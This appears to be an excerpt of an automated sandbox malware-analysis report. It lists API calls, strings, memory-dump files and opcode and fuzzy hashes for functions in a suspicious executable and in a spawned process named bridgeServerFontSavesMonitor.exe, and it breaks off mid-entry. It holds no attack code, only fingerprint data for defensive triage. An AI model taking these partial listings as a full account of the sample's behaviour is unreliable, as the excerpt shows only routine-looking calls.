MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00BF91E0,?,00000000,?,00000001,?,?,00000001,00BF91E0,?), ref: 00BFC9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00BFCA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00BF6CBE,?), ref: 00BFCA70
__freea.LIBCMT ref: 00BFCA79

Part of subcall function 00BF8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BFCA2C,00000000,?,00BF6CBE,?,00000008,?,00BF91E0,?,?,?), ref: 00BF8E38

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 6b2daf6ec1d0dc73669ee374c15e7312a045b9544d71c7326d86af1196c60b38
Instruction ID: a8467814390ef4d1ce108a1c4acb7ea1de92d4ae3c46a7b16c32aa90dd9b4453
Opcode Fuzzy Hash: 6b2daf6ec1d0dc73669ee374c15e7312a045b9544d71c7326d86af1196c60b38
Instruction Fuzzy Hash: 8631AC72A0020EABDB25CF64CC41EBE7BE5EF41710B1541A8E904E7290E735DD98CB90

Function 00BEA663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00BEA666
GetDeviceCaps.GDI32(00000000,00000058), ref: 00BEA675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00BEA683
ReleaseDC.USER32(00000000,00000000), ref: 00BEA691

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: d084b52a4c3e765289a5014dbbe7d408c3af1804f8dcee691f59280d39d5c4d5
Instruction ID: abe2f9a272a3c64da9223fef385809ff974321b2670b3214d7242bc391fe9606
Opcode Fuzzy Hash: d084b52a4c3e765289a5014dbbe7d408c3af1804f8dcee691f59280d39d5c4d5
Instruction Fuzzy Hash: 1FE08C31966761ABC3241B60AC4DBCE3E58AB06B52F008100FB059A190DB6486048BA0

Function 00BEA80C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00BEA699: GetDC.USER32(00000000), ref: 00BEA69D
Part of subcall function 00BEA699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00BEA6A8
Part of subcall function 00BEA699: ReleaseDC.USER32(00000000,00000000), ref: 00BEA6B3

GetObjectW.GDI32(?,00000018,?), ref: 00BEA83C

Part of subcall function 00BEAAC9: GetDC.USER32(00000000), ref: 00BEAAD2
Part of subcall function 00BEAAC9: GetObjectW.GDI32(?,00000018,?), ref: 00BEAB01
Part of subcall function 00BEAAC9: ReleaseDC.USER32(00000000,?), ref: 00BEAB99

Strings

(, xrefs: 00BEA9AA

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 3c30538cfe5d384a6a531e0aba337dc330cf6fbe400e0d9b028952aca2dde3b8
Instruction ID: 616de988dbe82ef96a3425f63c1c697d1535367ef4f48e052d016bf771a0c40d
Opcode Fuzzy Hash: 3c30538cfe5d384a6a531e0aba337dc330cf6fbe400e0d9b028952aca2dde3b8
Instruction Fuzzy Hash: 5491E171608394AFD610DF25D888A2BBBECFFC9700F00495EF59AD3261DB30A945CB62

Function 00BD75DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD75E3

Part of subcall function 00BE05DA: _wcslen.LIBCMT ref: 00BE05E0

Part of subcall function 00BDA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00BDA598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BD777F

Part of subcall function 00BDA4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00BDA325,?,?,?,00BDA175,?,00000001,00000000,?,?), ref: 00BDA501
Part of subcall function 00BDA4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00BDA325,?,?,?,00BDA175,?,00000001,00000000,?,?), ref: 00BDA532

Strings

:, xrefs: 00BD7654

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: d4e98fe2175796d4ebf5150a5cdc4bfae1f565c593df8c9ffe4cda1c197e74bd
Instruction ID: 96d08b08d01b27cdf373272ea1cc2940dd8b5b13edff9d259ca2961d99f3bdf8
Opcode Fuzzy Hash: d4e98fe2175796d4ebf5150a5cdc4bfae1f565c593df8c9ffe4cda1c197e74bd
Instruction Fuzzy Hash: 1D415171801158AAEB25EB64DC95EDEF7F8EF55300F0040E7A609A2292FB745F84CF61

Function 00BEB48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BEB4E3
_wcslen.LIBCMT ref: 00BEB4FE

Strings

}, xrefs: 00BEB4D6

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: b48c530ccda4beed9dada973cbe0357e7b8e524134895576bf91b02cb2e1f82b
Instruction ID: 9f765cfecaf0b19b283411315542e6123ad9f055830b3d1a94fe952c507c8481
Opcode Fuzzy Hash: b48c530ccda4beed9dada973cbe0357e7b8e524134895576bf91b02cb2e1f82b
Instruction Fuzzy Hash: 1921027290438A5AD731EA65D855E7FB3ECDFA1750F1404AAF640C3241EB65DE4C83B2

Function 00BDF344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00BDF2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00BDF2E4
Part of subcall function 00BDF2C5: GetProcAddress.KERNEL32(00C181C8,CryptUnprotectMemory), ref: 00BDF2F4

GetCurrentProcessId.KERNEL32(?,?,?,00BDF33E), ref: 00BDF3D2

Strings

CryptProtectMemory failed, xrefs: 00BDF389
CryptUnprotectMemory failed, xrefs: 00BDF3CA

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 7a45a32c68e995c121d372e7eff5090d7f2c161dc8321df561aafc7409f11f1e
Instruction ID: 40af1255a9608e39f9a16c900178372607d939b949e9464c82b00d72cab3fbe2
Opcode Fuzzy Hash: 7a45a32c68e995c121d372e7eff5090d7f2c161dc8321df561aafc7409f11f1e
Instruction Fuzzy Hash: AB11363160D22AABDF155B20DC4577EB798FF01770B1681A7FC025B351EA309E018698

Function 00BDB991 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00BDB9B8

Part of subcall function 00BD4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD40A5

Strings

%c:\, xrefs: 00BDB9AE

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: a13aa4db28c1d8db4b95bec343c04ae8c8ab31f450074f44d3b010adf1b4f036
Instruction ID: 29677c4e3b73a5a3e0586e23eab0bc9839b97a017bf1858307223d43e02b0587
Opcode Fuzzy Hash: a13aa4db28c1d8db4b95bec343c04ae8c8ab31f450074f44d3b010adf1b4f036
Instruction Fuzzy Hash: 4601DE63500312A99A30AB758C82D7BE7ECEE957B0B55489BF644D7282FF24D84483B1

Function 00BE101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00BE1160,?,00000000,00000000), ref: 00BE1043
SetThreadPriority.KERNEL32(?,00000000), ref: 00BE108A

Part of subcall function 00BD6C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD6C54

Strings

CreateThread failed, xrefs: 00BE104F

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 2cd4c1ba85909c946b6fb911eac81465950aad4fd20b918ce80f42df541c10b4
Instruction ID: ce9027efc85cc6055ea4c9cff009de47d401b72c1baf619f8cff104a98f30a59
Opcode Fuzzy Hash: 2cd4c1ba85909c946b6fb911eac81465950aad4fd20b918ce80f42df541c10b4
Instruction Fuzzy Hash: A50149B5344389AFD3346F29AC51BBAB3D8EB85351F30046EFA8652281DBB068C48330

Function 00BD1316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00BDE2E8: _swprintf.LIBCMT ref: 00BDE30E
Part of subcall function 00BDE2E8: _strlen.LIBCMT ref: 00BDE32F
Part of subcall function 00BDE2E8: SetDlgItemTextW.USER32(?,00C0E274,?), ref: 00BDE38F
Part of subcall function 00BDE2E8: GetWindowRect.USER32(?,?), ref: 00BDE3C9
Part of subcall function 00BDE2E8: GetClientRect.USER32(?,?), ref: 00BDE3D5

GetDlgItem.USER32(00000000,00003021), ref: 00BD135A
SetWindowTextW.USER32(00000000,00C035F4), ref: 00BD1370

Strings

0, xrefs: 00BD1319

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 7348ed69b1cc7ab6e7b0af2c33bdb6847387394874ddbad971466782059562e4
Instruction ID: 346944d8caab5a9d1e1db15c5d0df45127f6b0f4217260694111fd25a6a6bfd0
Opcode Fuzzy Hash: 7348ed69b1cc7ab6e7b0af2c33bdb6847387394874ddbad971466782059562e4
Instruction Fuzzy Hash: 1DF0A4301143CCBADF191F548C0D7EEBBD8EF04355F048995FD44546A1EB78C990EA14

Function 00BE0FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00BE1206,?), ref: 00BE0FEA
GetLastError.KERNEL32(?), ref: 00BE0FF6

Part of subcall function 00BD6C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD6C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00BE0FFF

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: d9eea25f082a2fd5536222ba9098eb03a7ed24c968f7169b1d998c922da6e952
Instruction ID: df2edf76874eb94c3c45df7d77ec3cef3cb79efdb15b850af57e43349e0a0e0e
Opcode Fuzzy Hash: d9eea25f082a2fd5536222ba9098eb03a7ed24c968f7169b1d998c922da6e952
Instruction Fuzzy Hash: DDD02B7150857076C61033245C05F6F7908CF12331F650755F238502F2CB2409819291

Function 00BDE29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00BDDA55,?), ref: 00BDE2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00BDDA55,?), ref: 00BDE2B1

Strings

RTL, xrefs: 00BDE2AB

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 23d5742fe4e98543852f19e2a72f3c4f2874e5a6ee3a52fb2dc96fe38e05ad27
Instruction ID: eabf8a486bfb3e9c365d3636296acbbae526f1435e6bfbab63088396635bbf87
Opcode Fuzzy Hash: 23d5742fe4e98543852f19e2a72f3c4f2874e5a6ee3a52fb2dc96fe38e05ad27
Instruction Fuzzy Hash: FEC0123124179066E63027656C4DB476A5C5B00B15F06045DB581E92D1DAA5C540C6A0

Analysis Process: bridgeServerFontSavesMonitor.exePID: 6996, Parent PID: 3192COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BAD0D48 Relevance: 1.5, Strings: 1, Instructions: 261
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5X_H, xrefs: 00007FFD9BAD0DF3

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: 5X_H
API String ID: 0-3241812158
Opcode ID: 0fbdc5e5d7798d2fe24f264f841035badd01008b0e8020429f47af263cf4cf1f
Instruction ID: 92e2d1667a40a3d559f1aeacb604d9da732e64dd0e7cc4ecd05bc380bb1760f4
Opcode Fuzzy Hash: 0fbdc5e5d7798d2fe24f264f841035badd01008b0e8020429f47af263cf4cf1f
Instruction Fuzzy Hash: 76911571A19A8D4FE759DB6888767A87FE0FFA9714F5102BEE049C72E2CBB81400C741

Function 00007FFD9BECC56C Relevance: 1.7, APIs: 1, Instructions: 244
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryFullProcessImageNameA.KERNELBASE ref: 00007FFD9BECC701

Memory Dump Source

Source File: 00000004.00000002.1866309334.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bec0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID: FullImageNameProcessQuery
String ID:
API String ID: 3578328331-0
Opcode ID: 87a5164043bd71c348779d6584b286891857f7e95cafb8b5a2c5187fbb8011ad
Instruction ID: f34113c89ed5c609cdb788d00a52869b05167ab41916e18e2a9138d02795be47
Opcode Fuzzy Hash: 87a5164043bd71c348779d6584b286891857f7e95cafb8b5a2c5187fbb8011ad
Instruction Fuzzy Hash: 88718F30619A4D8FDB68EF68C8557F937E1FB58311F10423EE84EC7292DB75A9418B81

Function 00007FFD9BAD0910 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98fec6040f7f0469032ecb657ad0aeffe448e41ac5617ba675848cdc7c4e100d
Instruction ID: baecb49f27f24e2ec36356fa3e76ed1727b6a9d8d72377ad2ec7a72c49a026b4
Opcode Fuzzy Hash: 98fec6040f7f0469032ecb657ad0aeffe448e41ac5617ba675848cdc7c4e100d
Instruction Fuzzy Hash: 9E412811B0C5590FE315B7BCA4A96F87781EF99339B1406BBE44ECB1EBDD18A841C385

Function 00007FFD9BAD0960 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e52c48491fd1d50ff2bf0a62668a762e4118d7d89f7601bbc25726abdbd5d73
Instruction ID: c327264e5b85828a0db727838ab233aa95bd3785e74d20958b55518268eb4acc
Opcode Fuzzy Hash: 2e52c48491fd1d50ff2bf0a62668a762e4118d7d89f7601bbc25726abdbd5d73
Instruction Fuzzy Hash: 79310911B0C9190FE768B7AC646A6F933C1DF9833AB1446BBF40EC71EBDD19AC418284

Function 00007FFD9BAD0998 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77ae1c5464dcc1c4fe569e9c0d63bfd9a0059a3a03ad23039d4a3563d205e9e4
Instruction ID: 80fb9ababc6eb3af18255ce7a55a2dc4a56c2f5c97fca7f140cc62d71cb48d65
Opcode Fuzzy Hash: 77ae1c5464dcc1c4fe569e9c0d63bfd9a0059a3a03ad23039d4a3563d205e9e4
Instruction Fuzzy Hash: A3212520B1891D0FE798BB6C946D77936C6EBA8324B5102B9E80EC32F7DD18AC014381

Function 00007FFD9BAD0C25 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09197fab97c02b88ed4be90c2def0aa2c26d03ba5a59541a3374f56b44dde349
Instruction ID: ba5f32b88479623ffe47dd8bbafe54ce0a11971045904aa98f94677b418d9123
Opcode Fuzzy Hash: 09197fab97c02b88ed4be90c2def0aa2c26d03ba5a59541a3374f56b44dde349
Instruction Fuzzy Hash: E7212C35B0E24D4EE332E7B898750EC7B70EF82326F5542B7D0548A1E3D9782646C785

Function 00007FFD9BAD2075 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09dc97ae45e4ae1a6696bb1720e6615abc34d9dc8cff82b2cb43596b98f827fc
Instruction ID: 4ec77cec4d4e7a7b0cad507f5fcd0cd93375c0fb217b7e9684ada1dc135d39b7
Opcode Fuzzy Hash: 09dc97ae45e4ae1a6696bb1720e6615abc34d9dc8cff82b2cb43596b98f827fc
Instruction Fuzzy Hash: 86113331B19A1D8BEB74EBA8C4646B87391FFD4300F0246B5D44EC71A2DE686E41D644

Function 00007FFD9BAD1FE8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eed27b315adab65c448eb62d3fd381587a2719f7d0807b3079c9afd5293c5fd5
Instruction ID: 4742faf4f3cb0a6caaee14b5d57dde20396cd5bc39a76ac9446de62dca997f8d
Opcode Fuzzy Hash: eed27b315adab65c448eb62d3fd381587a2719f7d0807b3079c9afd5293c5fd5
Instruction Fuzzy Hash: 3D118F21F1EA1E5BE7B4AB98C4746B86291FFC8310F1247B5D80ED31E2DE686E40C680

Function 00007FFD9BAD449C Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 796cc71cd68638df97ad7881f79f242a187afdcc609c8dc9ca3f3804c39c1b47
Instruction ID: 9e456a23c833a47ea57e7601ee44bd35e012cd6c6e1b9510d93e88211f4dcc3c
Opcode Fuzzy Hash: 796cc71cd68638df97ad7881f79f242a187afdcc609c8dc9ca3f3804c39c1b47
Instruction Fuzzy Hash: 6F11FE70D0852C8FDBA8DB08C494BA973E1EB64310F2541A9D44ED3271CF74AEC5CB45

Function 00007FFD9BAD5323 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

